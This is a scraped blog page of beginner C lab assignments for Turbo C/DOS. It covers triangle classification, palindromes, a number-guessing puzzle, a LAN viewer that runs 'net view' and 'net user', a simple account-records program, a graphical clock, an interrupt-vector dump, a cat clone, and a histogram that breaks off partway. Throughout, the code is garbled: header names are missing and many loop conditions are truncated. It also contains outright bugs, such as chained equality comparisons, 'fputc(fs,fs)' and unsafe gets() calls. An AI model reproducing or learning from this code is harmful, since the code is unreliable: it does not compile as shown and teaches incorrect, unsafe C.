Beginners C Programming Lab Assignments(Program to find the type of the triangle made by i-p values of its coordinates of its vertices)Posted: 13 Jan 2010 02:53 AM PST#include #include #include #includevoid main(){ float x1,y1,x2,y2,x3,y3; float a,b,c,m1,m2,m3; clrscr(); printf("Enter coordinates of vertex A(x & y respectively):-  "); scanf("%f%f",&x1,&y1); printf("Enter coordinates of vertex B(x & y respectively):-  "); scanf("%f%f",&x2,&y2); printf("Enter coordinates of vertex C(x & y respectively):-  "); scanf("%f%f",&x3,&y3); if ((x1==x2 && x2==x3)||(y1==y2 && y2==y3)) {  printf("

These coordinates can't represent a triangle.");  printf("A,B & C are colinear & thus consitute a line.");  getch();  exit(0); } else {  m1=(y2-y1)/(x2-x1);  m2=(y3-y2)/(x3-x2);  m3=(y3-y1)/(x3-x1); } if (m1==m2||m2==m3||m3==m1) {  printf("

These coordinates can't represent a triangle.");

  printf("A,B & C are colinear & thus consitute a line.");  printf("

            HAVE A NICE DAY! BYE.");  getch();  exit(0);

 } a = sqrt(pow((x2-x3),2) + pow((y2-y3),2)); b = sqrt(pow((x3-x1),2) + pow((y3-y1),2)); c = sqrt(pow((x2-x1),2) + pow((y2-y1),2)); printf("

Length of side AB is = %f",c); printf("Length of side BC is = %f",a); printf("Length of side CA is = %f",b); if (a==b==c)  printf("

Triangle made by these vertices is an equilateral triangle."); else if (a==b||b==c||c==a) {    if (a==b==c);  else    printf("

Triangle made by these vertices is an isosceles triangle."); } else if (a!=b && b!=c && c!=a)    printf("

Triangle made by these vertices is a scalene triangle."); getch();}

Beginners C Programming Lab Assignments(Program to print the ascii equivalent of all chararters in the entered string)Posted: 13 Jan 2010 02:51 AM PSTProgram to print the ascii equivalent of all chararters in the entered string

#include #include #include int ascii_value(char c);void main(){

 int i,a; char c; clrscr(); printf("Please enter a string."); printf("String will be terminated if you press Ctrl-Z."); printf("STRING:-  "); for (i=0;(c=getchar())!=EOF;i++) {  a=ascii_value(c);  printf("%d%c",a,' '); } printf("     are the ascii values of the characters of the entered string"); printf("     respectively."); printf("

            HAVE A NICE DAY! BYE."); getch();}

 int ascii_value(char c) {  int a;

  a=(int)c;  return(a); }

Beginners C Programming Lab Assignments(Program to search for a palindrome)Posted: 13 Jan 2010 02:50 AM PST#include #include #define EOL ''#define TRUE 1#define FALSE 0void main(){ char letter[80]; int tag,count,countback,flag,loop=TRUE; clrscr(); while (loop) {  flag=TRUE;  printf("

Please enter a word,phrase or sentence below(type END to exit the program):");  for (count=0;(letter[count]=getchar())!=EOL;++count)   ;  if ((toupper(letter[0])=='E') && (toupper(letter[1])=='N') && (toupper(letter[2])=='D'))   break;  tag=count-1;  for ((count=0,countback=tag);count<=(tag/2);(++count,--countback))  {   if (letter[count]!=letter[countback])   {    flag=FALSE;    break;   }  }  for (count=0;count<=tag;++count)

   putchar(letter[count]);  if (flag)   printf("  is a palindrome.");  else   printf("  is not a palindrome."); }}

Beginners C Programming Lab Assignments(Program. to find & replace any desired character from the input text.)Posted: 13 Jan 2010 02:49 AM PST#include # include char c1,c2,a[80];void main(){ clrscr(); find_rep(); getch();

}

void find_rep(void) /* Function to find & replace any text */{ char c1,c2; char a[80]; int i,j,k; printf("Enter a line of text below:-"); printf("Line will be terminated by pressing ENTER."); printf("TEXT:-  "); gets(a); printf("Enter the replaceable & replacing letter respectively:-  "); scanf("%c%c%c",&c1,' ',&c2); for (j=0;j<80;j++)

 {  if (a[j]==c1)   a[j]=c2; }  puts(a); printf("        Here all %c are replaced by %c.",c1,c2); return;}

Puzzle--finding the numberPosted: 13 Jan 2010 02:49 AM PST#include#include#include#include#includeint mx,my,ans=0,p=4;screen();void button();/* The main logic lies in displaying the numbers in the screen  The numbers are placed corresponding to their binary value  EX:In case of 14(binary equivalent is 01110).Therefore it will beplaced in 2,3 & 4 screen*/int s1[]={16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31};int s2[]={8,9,10,11,12,13,14,15,24,25,26,27,28,29,30,31};int s3[]={4,5,6,7,12,13,14,15,20,21,22,23,28,29,30,31};int s4[]={2,3,6,7,10,11,14,15,18,19,22,23,26,27,30,31};int s5[]={1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31};int a1,a2,a3,a4,a5;void main(){int gd=DETECT,gm;initgraph(&gd,&gm,"c:\tc\bgi");mouseini();showmp();action();}

action(){ int ans=0; char st[10]; initialscreen(); while(1) {  /* The X & Y coordinate of each function is calculated  with respect to mx "maximum of x value" & my "maximum of y value" */ if(click((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"Play..")==0)   {   a1=screen(s1,16);   a2=screen(s2,16);   a3=screen(s3,16);   a4=screen(s4,16);   a5=screen(s5,16);   ans=a1+a2+a3+a4+a5;   result(ans);   getch();   exit();   } }}initialscreen(){mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7);bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE);line(mx/4,my/4,3*mx/4,my/4);line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK);line(mx/4,3*my/4,3*mx/4,3*my/4);line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED);outtextxy((mx/4)+40,(my/4)+30,"THINK A NUMBER BETWEEN 1-31");button((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"Play..");}screen(int *scr,int num){       int a,i,x1,y1;char st[10];

mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7);  bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE);  line(mx/4,my/4,3*mx/4,my/4);  line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK);  line(mx/4,3*my/4,3*mx/4,3*my/4);  line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED);  outtextxy((mx/4)+9,(my/4)+5,"TELL ME WHETHER THE NUMBER IS PRESENT?");  button((3*mx/4)-40 ,(3*my/4)-20,(3*mx/4)-5 ,(3*my/4)-5,"yes");  button((3*mx/4)-80 ,(3*my/4)-20,(3*mx/4)-45 ,(3*my/4)-5,"no");  x1=(mx/4)+80;  y1=(my/4)+65;  for(i=0;i     {     a=scr[i];     /*To convert the integer into string and then displaying it on thegraphic mode*/     itoa(a,st,10);     outtextxy(x1 ,y1,&st);     x1+=50;     if((i==3)||(i==7)||(i==11))       {       y1=y1+30;       x1=(mx/4)+80;       }     } /*We have already noted that the numbers are placed in screencorresponding to their binary value   To find the number we can convert these binary numbers to integers*/  while(1)    {    if (click((3*mx/4)-40 ,(3*my/4)-20,(3*mx/4)-5 ,(3*my/4)-5,"yes")==0)  {  ans=pow(2,p);  p=p-1;   return ans;  }

    if (click((3*mx/4)-80 ,(3*my/4)-20,(3*mx/4)-45 ,(3*my/4)-5,"no")==0)  {  p=p-1;  return 0;  }     }}result(int ans){       char st[10];mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7);bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE);line(mx/4,my/4,3*mx/4,my/4);line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK);line(mx/4,3*my/4,3*mx/4,3*my/4);line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED);if(ans==0)   { outtextxy((mx/4)+110,(my/4)+45,"I DONT BELEIVE"); outtextxy((mx/4)+60,(my/4)+60,"YOU MIGHT BE WRONG SOMEWHERE");   } else   { outtextxy((mx/4)+95,(my/4)+30,"THE NUMBER IS "); itoa(ans,st,10); outtextxy((mx/4)+205,(my/4)+30,st);   }button((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"TRY AGAIN!");button((mx/4)+95,(my/4)+150,(mx/4)+235,(my/4)+190,"EXIT");while(1)    { if (click((mx/4)+95,(my/4)+150,(mx/4)+235,(my/4)+190,"EXIT")==0)  {  closegraph();  restorecrtmode();  exit();  }  if (click((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"TRY AGAIN!")==0)

  {  p=4;  action();  }    }}void button(int x1,int y1,int x2,int y2,char str[]){ int xc,yc,i=0,l=0; while(i      {       l+=4;       i++;      } xc=(x2-x1)/2+x1-l; yc=(y2-y1)/2+y1; unpress(x1,y1,x2,y2); settextstyle(0,0,0); setcolor(RED); outtextxy(xc,yc,str);}unpress(int x1,int y1,int x2,int y2){setlinestyle(0,1,1);setfillstyle(1,7);bar(x1,y1,x2,y2);setcolor(WHITE);line(x1,y1,x2,y1);line(x1,y1,x1,y2);setcolor(0);line(x1,y2,x2,y2);line(x2,y1,x2,y2);return 0;}press(int x1,int y1,int x2,int y2){setlinestyle(0,1,1);setfillstyle(1,7);bar(x1,y1,x2,y2);setcolor(0);line(x1,y1,x2,y1);line(x1,y1,x1,y2);

setcolor(WHITE);line(x1,y2,x2,y2);line(x2,y1,x2,y2);return 0;}mouseini(){union REGS i,o;i.x.ax=0;int86(0x33,&i,&o);return(o.x.ax);}showmp(){union REGS i,o;i.x.ax=1;int86(0x33,&i,&o);return 0;}hidemp(){union REGS i,o;i.x.ax=2;int86(0x33,&i,&o);return 0;}

getmp(int *button,int *x,int *y){union REGS i,o;i.x.ax=3;int86(0x33,&i,&o);*button=o.x.bx;*x=o.x.cx;*y=o.x.dx;return 0;}setmp(){union REGS i,o;i.x.ax=4;i.x.cx=(3*mx/4)+20;

i.x.dx=(3*my/4)+20;int86(0x33,&i,&o);}click(int x1,int y1,int x2,int y2,char str[]){int button,x,y;int xc,yc,i=0,l=0;while(i     {      l+=4;      i++;     }xc=(x2-x1)/2+x1-l;yc=(y2-y1)/2+y1;

getmp(&button,&x,&y);if( (x>x1 && xy1 && y{ hidemp(); press(x1,y1,x2,y2); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); showmp(); while((button==1))  getmp(&button,&x,&y); hidemp(); unpress(x1,y1,x2,y2); showmp(); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); for(i=50;i<500;i=i+50) {  delay(10);  sound(i+200); } showmp(); nosound(); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); return 0;

}else return 1;}

Beginners C Programming Lab Assignments(Show the active computers in the lan)Posted: 13 Jan 2010 02:48 AM PST#include#include#include#include#include#include//#include"h:incmenu1.c"//void netview()void main(){                FILE *fs;                int count=0;                char ch;                int gd=DETECT,gm;                initgraph(&gd,&gm,"");                //make();                cleardevice();                closegraph();                make();                fs=fopen("temp.txt","r");      //                                  make();                if(fs==NULL)                {                                 clearviewport();                                 printf("file not found");                                 getch();                   //                 if(getch()==27) //                                  menu1();                  }                else                while(1)                {

                                 ch=fgetc(fs);

                                 if(ch==EOF)                                                  break;                                 if(ch=='')                                                  count++;                                 if(count==24)                                 {                                                  count=0;                                                  //getch();                                                  printf("                 Press Enter");                                                  getch();                                                  clearviewport();                                                  setbkcolor(1);                                 }                                 setbkcolor(1);                                       ch= fputc(fs,fs);                                 printf("%c",ch);

                }      //                 if(getch()==27)   //                 menu1();

                fs=fopen("temp1.txt","r");                if(fs==NULL)                {                                 printf("file not found");                                 getch();                 //                 if(getch()==27)     //                                  menu1();                }                else                while(1)                {

                                 ch=fgetc(fs);                                 if(ch==EOF)                                                  break;                                 printf("%c",ch);                }

                                 putc(ch,fs);                                                  fclose(fs);                getch();      //                 menu1();

}

make(){

                system("net view > temp.txt");                system("net user > temp1.txt");                return 1;}

Beginners C Programming Lab Assignments(Showing Binary Equivalent of an Integer)Posted: 13 Jan 2010 02:48 AM PSTmain(){    int n;    char ch;    while(1)    {    clrscr();    printf("    Enter an integer to see its Binary Equivalent");    printf("

    Enter    ");    scanf("%d",&n);    showbits(n);

    printf("    continue ?    ");    ch=getch();    if(ch==27)

    break;    }}

showbits(int n){    int i,bit,mask,count=0;    printf("    ");    for(i=15;i>=0;i--)    {        mask=1<

        bit=n & mask;

        if(bit==mask)            printf("1");        else            printf("0");        count++;        if(count%4==0)            printf("  ");    }}

Beginners C Programming Lab Assignments(Simple Account software)Posted: 13 Jan 2010 02:47 AM PSTSimple Account software

#include#include#include#include#include

union REGS i,o;char *menu[]={"1.Add Records","2.Show Records","3.Modify Records",       "4.Del Records","5.Search Record","6.Exit"};

main(){  int gd=DETECT,gm,choice=1,width=0,i,count,sr=0;  char **buffer;   FILE *m,*t;  char sname[20];  long int size;  char mrec;     struct cust    {      char name[20];      int accno;      float balance;    };  struct cust s;

  m=fopen("C:\record.txt","rb+");

  if(m==NULL)  {    t=fopen("C:\record.txt","wb+");

    if(t==NULL)    { printf("Error in opening file ");      exit();    }   }  size=sizeof(s);  initgraph(&gd,&gm,"C:\Tc\Bgi");

  setbkcolor(1);  setcolor(11);  if(initmouse()==0)  {   printf("Mouse driver not loaded...");   exit();  }

  count=sizeof(menu)/sizeof(char *);  settextstyle(TRIPLEX_FONT,0,3);

  displaymenu(menu,count,10,10);

  for(i=0;i  {   if(textwidth(menu[i])>width)     width=textwidth(menu[i]);  }

//  movemouseptr(&x1,&y1);

  buffer=malloc(sizeof(menu));  savemenu(menu,buffer,width,count,10,10);  showmouseptr();  while (1)  {   displaymenu(menu,count,10,10);    choice=getresponse(menu,buffer,width,count,10,10);    gotoxy(50,15);

     hidemouseptr();     switch (choice)   {    case 1 : cleardevice();     fseek(m,0,SEEK_END);     mrec='y';     gotoxy(1,1);     while(mrec=='y')     {       printf("

Enter the Name of the Custumer ");       scanf("%s",s.name);       printf("Enter the Acc.no of the Custumer ");       scanf("%d",&s.accno);       printf("Enter the Balance of the Custumer ");       scanf("%f",&s.balance);

       fwrite(&s,size,1,m);       printf("Are there more Records (Y/N)");       fflush(stdin);

       mrec=getche();     }    printf("Press any key to go back to menu");     cleardevice();     break;

    case 2:  cleardevice();     rewind(m);       gotoxy(1,1);       printf("

            Name        Acc.No        Ammount Due");       sr=0;      if(fread(&s,size,1,m)==1)     { rewind(m);       while(fread(&s,size,1,m)==1)       {     printf("%30s%12d%23.2f",s.name,s.accno,s.balance);     sr++;       }     }  else    printf("            There is no record to Display");       printf("

        There are %d Records",sr);       printf("

Press any key to go back to menu");     getch();     cleardevice();     break;

    case 3:  clearviewport();     mrec='y';      gotoxy(1,1);      while(mrec=='y')      {      printf("

Enter the name of Customer whose rec. is to be modified");

      scanf("%s",sname);       // gets(sname);      rewind(m);      while (fread(&s,size,1,m)==1)      { sr=0;     if( strcmp (s.name,sname)==0)     { sr=1;    //   printf("Enter new name,Acc.no,Balance ");    //   scanf("%s%d%f",s.name,&s.rollno,&s.percent);       printf("

Enter the new Name of the Custumer ");       scanf("%s",s.name);     //       gets(s.name);

       printf("Enter the new Acc.no of the Custumer ");       scanf("%d",&s.accno);       printf("Enter the new Balance of the Custumer ");       scanf("%f",&s.balance);

       fseek(m,-size,SEEK_CUR);       fwrite(&s,size,1,m);       break;     }      }      if(sr==0)    printf("    Record "%s" is not found",sname);      printf("Modify more records (Y/N)");      fflush(stdin);      mrec=getche();

       }    clearviewport();    break;

    case 4: clearviewport();     mrec='y';     gotoxy(1,1);     while(mrec=='y')     {     printf("Enter the name of the Customer to delete the rec ");     scanf("%s",sname);       //       gets(sname);     t=fopen("C:\stemp.txt","wb");

     rewind (m);    while(fread(&s,size,1,m)==1)    {      if(strcmp(s.name,sname)!=0)    fwrite(&s,size,1,t);    }     fclose(m);     fclose(t);     remove("C:\record.txt");     rename("C:\stemp.txt","C:\record.txt");

     m=fopen("C:\record.txt","rb+");

     printf("Delete more records (Y/N)");     fflush(stdin);     mrec=getche();      }  clearviewport();    // displaymenu(menu,count,10,10);    // getch();    // choice=getresponse(menu,buffer,width,count,10,10);     break;    case 5:  clearviewport();     mrec='y';      gotoxy(1,1);      while(mrec=='y')      {      printf("

Enter the name of Customer whose rec. is to be Searched");      scanf("%s",sname);

    //  gets(sname);      rewind(m);      while (fread(&s,size,1,m)==1)      {  sr=0;     if( strcmp (s.name,sname)==0)     {     //  printf("Enter new name,Acc.no,Balance");     //  scanf("%s%d%f",s.name,&s.rollno,&s.percent);    //    fseek(m,-size,SEEK_CUR);    //   fwrite(&s,size,1,m);      printf("Record found");      printf("

              Name        Acc.No        Ammount Due");      printf("%30s%12d%23.2f",s.name,s.accno,s.balance);      sr=1;      getch();      break;     }      }      if(sr==0)       printf("    Record "%s" is not found",sname);      printf("Search more records (Y/N)");      fflush(stdin);      mrec=getche();

       }    clearviewport();    break;

    case 6:     fclose(m);     exit();

   }  showmouseptr();

  }}

displaymenu(char **menu,int count,int x1,int y1){ int i,h;

 h=textheight(menu[0]);

 for(i=0;i   outtextxy(x1,y1+i*(h+5),menu[i]);}

savemenu (char **menu,char **buffer,int width,int count,int x1,int y1){ int i,x2,yy1,yy2,area,h;

 h=textheight(menu[0]);

 for(i=0;i {   x2=x1+width;   yy1=y1+i*(h+5);   yy2=y1+(i+1)*(h+5);

   area=imagesize(x1,yy1,x2,yy2);   buffer[i]=malloc(area);   getimage(x1,yy1,x2,yy2,buffer[i]);

 }}

getresponse(char **menu,char **buffer,int width,int count,int x1,int y1){ int choice=1,prevchoice=0,x,y,x2,y2,button; int in,i,h;

 h=textheight(menu[0]); y2=y1+count*(h+5); x2=x1+width; rectangle(x1-5,y1-5,x2+5,y2+5);

 while(1) {     getmousepos(&button,&x,&y);

   if (x>=x1&&x<=x2&&y>=y1&&y<=y2)  {    in=1;

      for(i=1;i<=count;i++)     {      if(y<=y1+i*(h+5))     {  choice=i;    break;      }      }

      if(prevchoice!=choice)     {    hidemouseptr();    highlight(buffer,choice,h,x1,y1);

     if(prevchoice)       dehighlight(buffer,prevchoice,h,x1,y1);

     prevchoice=choice;     showmouseptr();      }    if((button & 1)==1)      {    while ((button & 1)==1)      getmousepos(&button,&x,&y);

    if(x>=x1&&x<=x2&&y>=y1&&y<=y2)    return(choice);       }    }  else  {   if( in ==1)   {    in=0;    prevchoice=0;

    hidemouseptr();    dehighlight(buffer,choice,h,x1,y1);    showmouseptr();   }  } }}

highlight(char **buffer,int ch,int h,int x1,int y1){  putimage(x1,y1+(ch-1)*(h+5),buffer[ch-1],NOT_PUT);}

dehighlight(char **buffer,int ch,int h,int x1,int y1){  putimage(x1,y1+(ch-1)*(h+5),buffer[ch-1],COPY_PUT);}

/* initmouse */initmouse(){ i.x.ax=0; int86 (0x33,&i,&o); return(o.x.ax);}

/* displays mouse pointer */showmouseptr(){ i.x.ax=1; int86(0x33,&i,&o);}

hidemouseptr(){ i.x.ax=2; int86(0x33,&i,&o);}

/*gets mouse coordinates and button status*/

getmousepos(int *button,int *x,int *y){ i.x.ax=3; int86(0x33,&i,&o); *button=o.x.bx; *x=o.x.cx; *y=o.x.dx;}

movemouseptr(int *x,int *y){ i.x.ax=4; int86(0x33,&i,&o); o.x.cx=*x; o.x.dx=*y; return 0;}

Beginners C Programming Lab Assignments(sort an array in decending order)Posted: 13 Jan 2010 02:47 AM PSTsort an array in decending order

#include #include void main(){ int i[100],j[100],temp[100]; int a,b=1,c,i1=2,k,b2=0; printf("ENTER NUMBER  OF DATA  (MAXIMUM 100):"); scanf("%d",&k); printf("ENTER DATA (IN INTEGER):"); for(a=0;a { printf("k=[%d]        ",a+1); scanf("%d",&i[a]); }

 for(a=0,b=1;a { if((i[b]-i[a])>0) {  temp[a]=i[b];  temp[b]=i[a];  i[a]=temp[a];  i[b]=temp[b];  } for(c=i1;c { if((i[c]-i[a])>0) {  temp[a]=i[c];  temp[c]=i[a];  i[a]=temp[a];  i[c]=temp[c]; } } i1++; } printf("

YOUR ARRAY IN DECENDING ORDER IS AS FOLLOWS: YOURARRAY[%d]=    ",k); for(b2=0;b2 { printf("%d    ",i[b2]); } printf("

        ***THANK YOU FOR USING THIS PROGRAM***"); }

Beginners C Programming Lab Assignments(Square root of a number without using Built-In Function)Posted: 13 Jan 2010 02:46 AM PST

Square root of a number without using Built-In Function

#include#include

void main(){ double n,g1,g2; int flag=0; clrscr(); printf("Enter the no.: "); scanf("%lf",&n); if(n<0) {                n=-n;                flag=1; } else if(n==0) {                printf("The root of %6.4lf is",n);                textcolor(GREEN);                cprintf(" %6.4lf",g2);                getch();                exit(0); } g2=n/2; do {                g1=g2;                g2=(g1+n/g1)/2; } while((g1-g2)!=0); if(flag==1) {                printf("The root of %6.4lf is",-n);                textcolor(GREEN);                cprintf(" +/- %6.4lf i",g2); } else {

                printf("The root of %6.4lf is",n);                textcolor(GREEN);                cprintf(" +/- %6.4lf",g2); } getch();}

Beginners C Programming Lab Assignments(system Clock and date)Posted: 13 Jan 2010 02:46 AM PST#include#include#include#include#include #include union REGS i,o;int button,p,q;main(){int gd = DETECT,gm;int maxx,maxy,x,y,button,i,j,x2,x1,y2,y1;int cor[60][2],f=1,hour,min,sec,l,dat,mont,yea;struct arccoordstype arcinfo;struct  time t;struct date d;char mm[80],mf[80],m[50],n[5];charmon[12][4]={"Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"};initmouse();showmouseptr();initgraph(&gd,&gm,"");maxx=getmaxx();maxy=getmaxy();//textcolor(0);setviewport(1,1,getmaxx()-2,getmaxy()-2,1);showmouseptr();restrictmouseptr(350,20,600,70);

circle(maxx/2,maxy/2,100);putpixel(maxx/2,maxy/2,3);setfillstyle(0,0);j=90;setcolor(0);cleardevice();setfillstyle(1,14);bar(390,55,440,70);setfillstyle(1,14);bar(460,55,500,70);setfillstyle(1,14);bar(390,30,460,45);setfillstyle(1,14);bar(466,30,540,45);j=30;setfillstyle(1,12);bar(180,100,465,387);setfillstyle(1,0);bar(185,104,460,383);while(f<13){if (i<=90) {i=90-j;} else { i=360-(j-90);}setcolor(0);arc(maxx/2,maxy/2,90,i,125);getarccoords(&arcinfo);setcolor(14);settextstyle(DEFAULT_FONT, HORIZ_DIR,2);if (f<=5) {sprintf(n,"%d",f);outtextxy(arcinfo.xend+2,arcinfo.yend,n);}else if ((f>=7)&&(f<12)){sprintf(n,"%d",f);outtextxy(arcinfo.xend-7,arcinfo.yend,n);}else if(f==12){sprintf(n,"%d",f);outtextxy(arcinfo.xstart-10,arcinfo.ystart,n);}else if (f==6) {sprintf(n,"%d",f);outtextxy(arcinfo.x-17,arcinfo.y+120,n);}j+=30;f++;}setcolor(13);sprintf(mm,"Exit");outtextxy(550,35,mm);settextstyle(DEFAULT_FONT,0,1);sprintf(mm,"Done by:");

outtextxy(400,435,mm);settextstyle(DEFAULT_FONT, HORIZ_DIR,2);sprintf(mm,"Ajith.V.V");outtextxy(470,445,mm);

settextstyle(DEFAULT_FONT, HORIZ_DIR,0);outtextxy(400,60,"Time    Date");

sprintf(mm,"SET-TIME");outtextxy(395,35,mm);sprintf(mm,"SET-DATE");outtextxy(470,35,mm);f=0;while(1){getmousepos(&button,&p,&q);getdate(&d);gettime(&t);//outersetfillstyle(1,15);pieslice(maxx/2,maxy/2,0,360,5);setfillstyle(1,12);bar(180,100,184,387);bar(461,100,465,387);bar(180,100,465,105);bar(180,385,465,387);bar(200,390,445,400);bar(180,400,465,405);//hourif (t.ti_hour>13) {t.ti_hour = t.ti_hour - 12;}if (t.ti_min==0) {i=(t.ti_hour*30);}  else{i=((t.ti_hour*30)+((t.ti_min/12)*6));}if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,50);getarccoords(&arcinfo);if (((t.ti_hour==0)||(t.ti_hour==12))&&(t.ti_min<=11)){setcolor(0);line(maxx/2,maxy/2,x1,y1);

setcolor(3);line(maxx/2,maxy/2,maxx/2,maxy/2-50);x1=0;y1=0;x1=maxx/2;y1=maxy/2-50;}else{setcolor(0);line(maxx/2,maxy/2,x1,y1);setcolor(3);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x1=arcinfo.xstart;y1=arcinfo.ystart;}//hour//minutri=(t.ti_min*6);if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,90);getarccoords(&arcinfo);if (t.ti_min==0){setcolor(0);line(maxx/2,maxy/2,x2,y2);setcolor(2);line(maxx/2,maxy/2,maxx/2,maxy/2-80);x2=0;y2=0;x2=maxx/2;y2=maxy/2-80;}else{setcolor(0);line(maxx/2,maxy/2,x2,y2);setcolor(2);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x2=arcinfo.xstart;y2=arcinfo.ystart;

}//minute//secondsi=(t.ti_sec*6);if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,100);getarccoords(&arcinfo);setcolor(5);rectangle(185,104,460,383);setcolor(15);//setcolor(4);if (t.ti_sec==0){setcolor(0);line(maxx/2,maxy/2,x,y);setcolor(15);//setcolor(4);line(maxx/2,maxy/2,maxx/2,maxy/2-100);x=0;y=0;x=maxx/2;y=maxy/2-100;}else{setcolor(0);line(maxx/2,maxy/2,x,y);setcolor(15);//setcolor(4);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x=arcinfo.xstart;y=arcinfo.ystart;}press();getmousepos(&button,&p,&q);if ((p>=390)&&(p<=440)&&(q>=55)&&(q<=70)&&((button & 1)==1)){f=f^1;if (f==1){

l=3;}else{l=0;gotoxy(38,20);printf("                ");}}

if (l==3){gotoxy(38,20);printf("%d:%d:%d",t.ti_hour,t.ti_min,t.ti_sec);}

press();getmousepos(&button,&p,&q);if ((p>=460)&&(p<=500)&&(q>=55)&&(q<=70)&&((button & 1)==1)){f=f^1;if (f==1){l=5;}else{l=0;gotoxy(36,12);printf("                ");}}

if (l==5){gotoxy(36,12);printf("%d,%s %d ",d.da_day,mon[d.da_mon-1],d.da_year);}

if (t.ti_min==0)

{sound(2000);}if (t.ti_sec>=2){nosound();}press();getmousepos(&button,&p,&q);if ((p>=550)&&(p<=650)&&(q>=33)&&(q<=50)&&((button & 1)==1)) {goto end;}//set timeif ((p>=390)&&(p<=460)&&(q>=30)&&(q<=45)&&((button & 1)==1)){gotoxy(1,22);printf("Enter :");gotoxy(1,23);printf("Hour[24]:");scanf("%d",&hour);gotoxy(1,24);printf("Minute  :");scanf("%d",&min);gotoxy(1,25);printf("Second  :");scanf("%d",&sec);if (hour!=24){t.ti_hour = hour;} else {t.ti_hour = 0;}t.ti_min =  min;t.ti_sec = sec;settime(&t);gotoxy(1,22);printf("          ");gotoxy(1,23);printf("                         ");gotoxy(1,24);printf("                          ");gotoxy(1,25);printf("                         ");}//set dateif ((p>=350)&&(p<=510)&&(q>=35)&&(q<=45)&&((button & 1)==1)){gotoxy(1,22);printf("Enter :");gotoxy(1,23);printf("date   :");scanf("%d",&dat);gotoxy(1,24);

printf("Month  :");scanf("%d",&mont);gotoxy(1,25);printf("Year   :");scanf("%d",&yea);d.da_day=dat;d.da_mon=mont;d.da_year=yea;setdate(&d);gotoxy(1,22);printf("          ");gotoxy(1,23);printf("                         ");gotoxy(1,24);printf("                          ");gotoxy(1,25);printf("                         ");}//while end}end:closegraph();restorecrtmode();//program endreturn 0;}

initmouse(){i.x.ax = 0;int86(0x33,&i,&o);return (o.x.ax);}

showmouseptr(){i.x.ax = 1;int86(0x33,&i,&o);return 0;}hidemouseptr(){

i.x.ax = 2;int86(0x33,&i,&o);return 0;}

restrictmouseptr(int x1,int y1,int x2,int y2){i.x.ax = 7;i.x.cx = x1;i.x.dx = x2;int86 (0x33,&i,&o);i.x.ax = 8;i.x.cx = y1;i.x.dx = y2;int86 (0x33,&i,&o);return 0;}

getmousepos(int *button,int *x,int *y){i.x.ax = 3;int86 (0x33,&i,&o);*button = o.x.bx;*x=o.x.cx;*y=o.x.dx;return 0;}

press(){while ((button & 1)==1){getmousepos(&button,&p,&q);}return 0;}       

Beginners C Programming Lab Assignments(To check whether a string is a palindrome)Posted: 13 Jan 2010 02:45 AM PST

To check whether a string is a palindrome

#include#include#includevoid main(void){    char a[50],b[50];    clrscr();    printf("Enter the string:");    gets(a);    strcpy(b,a);    strrev(a);    if(strcmp(b,a) == 0)    {    printf("The given string is a palindrome!!!");    }    else    {    printf("The given string is not a palindrome!!!");    }    getch();}

Beginners C Programming Lab Assignments(Understanding IVT table)Posted: 13 Jan 2010 02:44 AM PST// understanding ivt table#include#includemain(){   unsigned long far *address = (unsigned long far *)0x00000000;   unsigned long intadd[256];   unsigned int segment, offset;   int i;   FILE *fp;   fp = fopen("IVT.txt", "wb");   for(i = 0; i < 256; i++)   {

      intadd[i] = *(address++);      segment = FP_SEG(intadd[i]);      offset = FP_OFF(intadd[i]);      fprintf(fp, "interrupt %3X : vector %Fp(hex) : %lu(dec)",            i, intadd[i], (unsigned long)segment * 16 + offset);   }   fclose(fp);}

Beginners C Programming Lab Assignments(UNIX cat like utility)Posted: 13 Jan 2010 02:44 AM PST#include#include#include

int main(int argc,char* argv[]){        FILE* fp;        int i=0;        char c;        if(argc==1){                fprintf(stderr,"Error using cat...");                exit(2);        }        if(!strcmp(argv[1],"-w")){  /* This returns 1 if match is found */

                if(argc!=3){                        fprintf(stderr,"Invalid no. of arguments");                        exit(2);                }                fp=fopen(argv[2],"w");                if(fp==NULL)                {                        fprintf(stderr,"Error in opening file...");                        exit(2);                }

                c=getchar();                while(c!=EOF)                {                        fputc(c,fp);                        c=getchar();                }                fclose(fp);        }        else{        for(--argc;argc>0;argc--){                 fp=fopen(argv[++i],"r");                 if(fp==NULL){                        fprintf(stderr,"File not found...Aborting");                        exit(2);                 }                 while((c=fgetc(fp))!=EOF)                        fputc(c,stdout);                 fclose(fp);        }        }

}

Beginners C Programming Lab Assignments(Vertical Histogram)Posted: 13 Jan 2010 02:43 AM PST#include#define MAXWL 20  /* Maximum length of a word */#define MAXNO 25 /* Maximum No of words in a sentence */

int main(void){    int word[MAXNO];    int i,c,j,nc,nw;

    for(i=0;i        word[i]=0;

    nc = nw = 0;

